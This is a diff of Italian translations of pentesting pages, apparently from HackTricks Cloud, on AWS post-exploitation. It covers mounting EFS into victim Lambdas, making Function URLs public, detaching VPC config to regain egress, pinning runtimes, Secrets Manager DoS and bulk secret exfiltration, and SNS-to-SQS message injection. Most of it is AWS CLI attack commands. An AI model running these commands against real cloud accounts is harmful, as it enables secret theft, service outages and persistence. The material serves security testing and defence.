until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
3) Invoca e recupera i dati
|
||||
3) Invoca e ottieni i dati
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
L'output dovrebbe contenere l'elenco delle directory sotto /mnt/ht e una piccola anteprima di un file secret/config scelto da EFS.
|
||||
L'output dovrebbe contenere l'elenco della directory sotto /mnt/ht e una piccola anteprima di un file secret/config scelto da EFS.
|
||||
|
||||
## Impatto
|
||||
Un attaccante con le autorizzazioni elencate può montare arbitrari in-VPC EFS Access Points nelle funzioni Lambda vittime per leggere ed esfiltrare la configurazione condivisa e i secrets memorizzati su EFS che erano precedentemente inaccessibili a quella funzione.
|
||||
## Impact
|
||||
|
||||
## Pulizia
|
||||
Un attaccante con i permessi elencati può montare Access Points EFS arbitrari in-VPC nelle funzioni Lambda vittima per leggere e to exfiltrate configurazioni condivise e segreti memorizzati su EFS che erano precedentemente inaccessibili a quella funzione.
|
||||
|
||||
## Cleanup
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,36 +1,38 @@
|
||||
# AWS - Esposizione pubblica di Lambda Function URL (AuthType NONE + Public Invoke Policy)
|
||||
# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Trasforma un Lambda Function URL privato in un endpoint pubblico non autenticato impostando il Function URL AuthType su NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a chiunque. Questo permette l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sfruttamento
|
||||
Trasformare un Lambda Function URL privato in un endpoint pubblico non autenticato cambiando il Function URL AuthType in NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a tutti. Questo permette l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
|
||||
|
||||
## Abuso
|
||||
|
||||
- Prerequisiti: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Regione: us-east-1
|
||||
|
||||
### Passaggi
|
||||
1) Assicurati che la function abbia un Function URL (di default AWS_IAM):
|
||||
1) Assicurarsi che la funzione abbia un Function URL (predefinito AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) Imposta l'URL come pubblico (AuthType NONE):
|
||||
2) Impostare l'URL su pubblico (AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Aggiungi una statement nella resource-based policy per permettere principals non autenticati:
|
||||
3) Aggiungere una resource-based policy statement per consentire principal non autenticati:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) Recupera l'URL e invoca senza credenziali:
|
||||
4) Recuperare l'URL e invocare senza credenziali:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Impatto
|
||||
- La Lambda function diventa accessibile in modo anonimo via internet.
|
||||
- La funzione Lambda diventa accessibile in modo anonimo su Internet.
|
||||
|
||||
### Esempio di output (200 non autenticato)
|
||||
```
|
||||
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Abusa di `lambda:PutRuntimeManagementConfig` per fissare una funzione a una versione specifica del runtime (Manual) o per congelare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con malicious layers/wrappers e può mantenere la funzione su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusare di `lambda:PutRuntimeManagementConfig` per fissare una funzione su una specifica versione del runtime (Manual) o bloccare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con layer/wrapper malevoli e può mantenere la funzione su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.
|
||||
|
||||
Requisiti: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Esempio (us-east-1):
|
||||
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
- Invocare: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Bloccare gli aggiornamenti: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verificare: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
Opzionalmente puoi fissare una versione specifica del runtime estraendo la Runtime Version ARN dai log INIT_START e usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
Facoltativamente, è possibile fissare una versione specifica del runtime estraendo l'ARN della Runtime Version dai log INIT_START e usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Forza una funzione Lambda fuori da una VPC con restrizioni aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La funzione verrà eseguita nel piano di rete gestito da Lambda, riconquistando l'accesso Internet in uscita e bypassando i controlli di egress applicati da subnet VPC private senza NAT.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Uso abusivo
|
||||
Forza una funzione Lambda fuori da una VPC restrittiva aggiornando la sua configurazione con una VpcConfig vuota (SubnetIds=[], SecurityGroupIds=[]). La funzione verrà eseguita nel Lambda-managed networking plane, riottenendo l'accesso Internet in uscita e bypassando i controlli di egress applicati da subnet private della VPC senza NAT.
|
||||
|
||||
- Requisiti: lambda:UpdateFunctionConfiguration sulla funzione target (e lambda:InvokeFunction per validare), più i permessi per aggiornare code/handler se li si modifica.
|
||||
## Abuso
|
||||
|
||||
- Prerequisiti: lambda:UpdateFunctionConfiguration sulla funzione target (e lambda:InvokeFunction per validare), oltre ai permessi per aggiornare code/handler se li si modifica.
|
||||
- Assunzioni: la funzione è attualmente configurata con VpcConfig che punta a subnet private senza NAT (quindi l'accesso Internet in uscita è bloccato).
|
||||
- Regione: us-east-1
|
||||
|
||||
@@ -26,12 +28,12 @@ zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) Registra la configurazione VPC corrente (per ripristinarla dopo se necessario)
|
||||
1) Registra l'attuale VpcConfig (per ripristinarla più tardi se necessario)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) Scollega la VPC impostando liste vuote
|
||||
2) Sgancia la VPC impostando liste vuote
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
@@ -44,7 +46,7 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) Ripristina la configurazione VPC originale
|
||||
(Opzionale) Ripristina la VpcConfig originale
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
@@ -52,12 +54,13 @@ aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config
|
||||
fi
|
||||
|
||||
### Impatto
|
||||
- Ripristina l'accesso Internet in uscita senza restrizioni dalla funzione, consentendo esfiltrazione di dati o C2 da workload che erano stati intenzionalmente isolati in subnet private senza NAT.
|
||||
- Riottiene accesso Internet in uscita non filtrato dalla funzione, consentendo esfiltrazione di dati o C2 da workload che erano intenzionalmente isolati in subnet private senza NAT.
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
### Esempio di output (dopo aver sganciato la VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Pulizia
|
||||
- Se hai creato modifiche temporanee a code/handler, ripristinale.
|
||||
- Facoltativamente ripristina il VpcConfig originale salvato in /tmp/orig-vpc.json come mostrato sopra.
|
||||
- Se hai creato modifiche temporanee al codice/handler, ripristinale.
|
||||
- Opzionalmente ripristina la VpcConfig originale salvata in /tmp/orig-vpc.json come mostrato sopra.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,13 +10,13 @@ Per maggiori informazioni consulta:
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Leggi Secrets
|
||||
### Leggere i segreti
|
||||
|
||||
I **secrets stessi sono informazioni sensibili**, [consulta la pagina privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per imparare come leggerli.
|
||||
I **segreti stessi sono informazioni sensibili**, [consulta la pagina privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per imparare come leggerli.
|
||||
|
||||
### DoS - Cambiare il valore del Secret
|
||||
### DoS: Modificare il valore del segreto
|
||||
|
||||
Modificando il valore del secret potresti causare un DoS a tutti i sistemi che dipendono da quel valore.
|
||||
Modificando il valore del segreto potresti **causare un DoS a tutti i sistemi che dipendono da quel valore.**
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che i valori precedenti sono anche memorizzati, quindi è facile tornare al valore precedente.
|
||||
@@ -28,11 +28,11 @@ aws secretsmanager put-secret-value \
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Se l'attacker ha il permesso secretsmanager:UpdateSecret, può configurare il secret per utilizzare una KMS key di proprietà dell'attacker. Tale key viene inizialmente impostata in modo che chiunque possa accedervi e usarla, quindi è possibile aggiornare il secret con la nuova key. Se la key non fosse accessibile, il secret non potrebbe essere aggiornato.
|
||||
Se l'attacker ha il permesso secretsmanager:UpdateSecret, può configurare il secret per usare una KMS key di proprietà dell'attacker. Questa key è inizialmente configurata in modo che chiunque possa accedervi e usarla, quindi è possibile aggiornare il secret con la nuova key. Se la key non fosse stata accessibile, il secret non avrebbe potuto essere aggiornato.
|
||||
|
||||
Dopo aver cambiato la key per il secret, l'attacker modifica la configurazione della propria key in modo che solo lui possa accedervi. In questo modo, nelle versioni successive del secret il contenuto sarà cifrato con la nuova key e, poiché non si potrà accedere a questa key, la possibilità di recuperare il secret verrebbe persa.
|
||||
Dopo aver cambiato la key del secret, l'attacker modifica la configurazione della propria key in modo che solo lui possa accedervi. In questo modo, nelle versioni successive del secret verrà criptato con la nuova key e, non essendoci accesso a essa, la possibilità di recuperare il secret andrebbe persa.
|
||||
|
||||
È importante notare che questa inaccessibilità si verificherà solo nelle versioni successive, dopo che il contenuto del secret sarà cambiato, poiché la versione corrente è ancora cifrata con la KMS key originale.
|
||||
È importante notare che questa inaccessibilità si verificherà solo nelle versioni successive, dopo che il contenuto del secret sarà cambiato, poiché la versione attuale è ancora criptata con la KMS key originale.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -48,29 +48,29 @@ aws secretsmanager delete-secret \
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
È possibile ripristinare un secret, il che consente il recupero di secret che sono stati programmati per la cancellazione, poiché il periodo minimo di cancellazione per i secret è di 7 giorni e il massimo è di 30 giorni. Insieme all'autorizzazione secretsmanager:GetSecretValue, questo rende possibile recuperare i loro contenuti.
|
||||
È possibile ripristinare un segreto, il che consente il recupero di segreti che sono stati programmati per la cancellazione, dato che il periodo minimo di cancellazione per i segreti è di 7 giorni e il massimo è di 30 giorni. Insieme al permesso secretsmanager:GetSecretValue, questo rende possibile recuperarne i contenuti.
|
||||
|
||||
Per recuperare un secret che è in fase di cancellazione, puoi usare il seguente comando:
|
||||
Per recuperare un segreto che è in fase di cancellazione, puoi usare il seguente comando:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Questa operazione permette di eliminare la resource policy che controlla chi può accedere a un secret. Questo potrebbe causare un DoS se la resource policy è stata configurata per consentire l'accesso a un insieme specifico di utenti.
|
||||
Questa azione permette di eliminare la policy della risorsa che controlla chi può accedere a un segreto. Questo potrebbe portare a un DoS se la policy della risorsa era configurata per consentire l'accesso a un insieme specifico di utenti.
|
||||
|
||||
Per eliminare la resource policy:
|
||||
Per eliminare la policy della risorsa:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Gli stati di un segreto sono usati per gestire le versioni di un segreto. AWSCURRENT indica la versione attiva che le applicazioni utilizzano, AWSPREVIOUS conserva la versione precedente in modo da poter eseguire il rollback se necessario, e AWSPENDING è usato nel processo di rotazione per preparare e convalidare una nuova versione prima di renderla quella corrente.
|
||||
Gli stati di un secret vengono usati per gestire le versioni di un secret. AWSCURRENT indica la versione attiva che le applicazioni utilizzano, AWSPREVIOUS conserva la versione precedente così da poter effettuare il rollback se necessario, e AWSPENDING viene usato nel processo di rotazione per preparare e validare una nuova versione prima di renderla quella corrente.
|
||||
|
||||
Le applicazioni leggono sempre la versione con AWSCURRENT. Se qualcuno sposta quell'etichetta sulla versione sbagliata, le app useranno credenziali non valide e potrebbero andare in errore.
|
||||
Le applicazioni leggono sempre la versione con AWSCURRENT. Se qualcuno sposta quell'etichetta sulla versione sbagliata, le app useranno credenziali non valide e potrebbero fallire.
|
||||
|
||||
AWSPREVIOUS non viene usato automaticamente. Tuttavia, se AWSCURRENT viene rimosso o riassegnato in modo errato, potrebbe sembrare che tutto stia ancora funzionando con la versione precedente.
|
||||
AWSPREVIOUS non viene usato automaticamente. Tuttavia, se AWSCURRENT viene rimosso o riassegnato in modo errato, potrebbe sembrare che tutto stia ancora girando con la versione precedente.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
@@ -78,32 +78,26 @@ aws secretsmanager update-secret-version-stage \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Esfiltrazione massiva di secret tramite BatchGetSecretValue (fino a 20 per chiamata)
|
||||
|
||||
Abusa dell'API Secrets Manager BatchGetSecretValue per recuperare fino a 20 secret in una singola richiesta. Questo può ridurre drasticamente il numero di chiamate API rispetto all'iterazione di GetSecretValue per ogni secret. Se si usano filtri (tags/name), è anche richiesto il permesso ListSecrets. CloudTrail registra comunque un evento GetSecretValue per ogni secret recuperato nel batch.
|
||||
|
||||
|
||||
|
||||
|
||||
### Esfiltrazione di segreti in massa via BatchGetSecretValue (fino a 20 per chiamata)
|
||||
|
||||
Abusa dell'API Secrets Manager BatchGetSecretValue per recuperare fino a 20 segreti in una singola richiesta. Questo può ridurre drasticamente il numero di chiamate API rispetto a iterare GetSecretValue per ogni segreto. Se si utilizzano filtri (tags/name), è anche richiesta l'autorizzazione ListSecrets. CloudTrail registra comunque un evento GetSecretValue per ogni segreto recuperato nel batch.
|
||||
|
||||
Permessi richiesti
|
||||
Required permissions
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue for each target secret
|
||||
- secretsmanager:ListSecrets se si usa --filters
|
||||
- secretsmanager:ListSecrets if using --filters
|
||||
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che l'autorizzazione `secretsmanager:BatchGetSecretValue` non è sufficiente per recuperare i segreti; serve anche `secretsmanager:GetSecretValue` per ogni segreto che si vuole recuperare.
|
||||
> Nota che la permission `secretsmanager:BatchGetSecretValue` non è sufficiente per recuperare i secret, hai anche bisogno di `secretsmanager:GetSecretValue` per ogni secret che vuoi recuperare.
|
||||
|
||||
Esfiltrazione tramite lista esplicita
|
||||
Esfiltrare tramite lista esplicita
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate tramite filtri (tag key/value o name prefix)
|
||||
Exfiltrate per filtri (tag key/value o name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
@@ -120,11 +114,12 @@ aws secretsmanager batch-get-secret-value \
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Gestione dei guasti parziali
|
||||
Gestione dei fallimenti parziali
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impatto
|
||||
- Raccolta rapida “smash-and-grab” di molti segreti con meno chiamate API, potenzialmente eludendo gli avvisi tarati sui picchi di GetSecretValue.
|
||||
- Esecuzione rapida di “smash-and-grab” su molti segreti con meno chiamate API, potenzialmente bypassando gli avvisi tarati sui picchi di GetSecretValue.
|
||||
- I log di CloudTrail includono comunque un evento GetSecretValue per ogni segreto recuperato dal batch.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
## Descrizione
|
||||
|
||||
Abusa della resource policy di una SQS queue per permettere a un SNS topic controllato dall'attaccante di pubblicare messaggi in una SQS queue della vittima. Nello stesso account, una SNS subscription a un SNS topic si auto-conferma; in cross-account devi leggere il token SubscriptionConfirmation dalla queue e chiamare ConfirmSubscription. Questo consente l'iniezione di messaggi non richiesti che i consumer downstream potrebbero implicitamente considerare affidabili.
|
||||
Abusare della policy della risorsa di una queue SQS per permettere a un topic SNS controllato dall'attaccante di pubblicare messaggi in una queue SQS della vittima. Nello stesso account, una subscription SQS a un topic SNS si auto-conferma; in cross-account, è necessario leggere il token SubscriptionConfirmation dalla queue e chiamare ConfirmSubscription. Questo permette un'iniezione di messaggi non attendibile che i consumer a valle potrebbero implicitamente considerare affidabile.
|
||||
|
||||
### Requisiti
|
||||
- Capacità di modificare la resource policy della SQS queue di destinazione: `sqs:SetQueueAttributes` sulla queue della vittima.
|
||||
- Capacità di creare/pubblicare su un SNS topic sotto il controllo dell'attaccante: `sns:CreateTopic`, `sns:Publish`, e `sns:Subscribe` sull'account/topic controllato dall'attaccante.
|
||||
- Solo cross-account: temporaneo `sqs:ReceiveMessage` sulla queue della vittima per leggere il token di conferma e chiamare `sns:ConfirmSubscription`.
|
||||
- Capacità di modificare la resource policy della queue SQS target: `sqs:SetQueueAttributes` sulla queue della vittima.
|
||||
- Capacità di creare/pubblicare su un topic SNS sotto controllo dell'attaccante: `sns:CreateTopic`, `sns:Publish`, e `sns:Subscribe` sull'account/topic dell'attaccante.
|
||||
- Solo cross-account: temporanea `sqs:ReceiveMessage` sulla queue della vittima per leggere il token di conferma e chiamare `sns:ConfirmSubscription`.
|
||||
|
||||
### Sfruttamento nello stesso account
|
||||
```bash
|
||||
@@ -45,10 +45,10 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGI
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### Note tra account
|
||||
- La queue policy sopra deve consentire il `TOPIC_ARN` esterno (attacker account).
|
||||
- Le subscription non si auto-confermeranno. Concediti temporaneamente `sqs:ReceiveMessage` sulla victim queue per leggere il messaggio `SubscriptionConfirmation` e poi esegui `sns confirm-subscription` con il suo `Token`.
|
||||
- La queue policy di cui sopra deve consentire il `TOPIC_ARN` esterno (account dell'attaccante).
|
||||
- Le subscriptions non si auto-confermeranno. Concediti temporaneamente `sqs:ReceiveMessage` sulla victim queue per leggere il messaggio `SubscriptionConfirmation` e poi esegui `sns confirm-subscription` con il suo `Token`.
|
||||
|
||||
### Impatto
|
||||
**Impatto potenziale**: Iniezione continua di messaggi non richiesti in una coda SQS di fiducia tramite SNS, potenzialmente attivando elaborazioni non intenzionate, inquinamento dei dati o abuso dei flussi di lavoro.
|
||||
**Impatto potenziale**: Iniezione continua di messaggi non richiesti in una trusted SQS queue tramite SNS, potenzialmente innescando elaborazioni non volute, inquinamento dei dati o abuso dei workflow.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user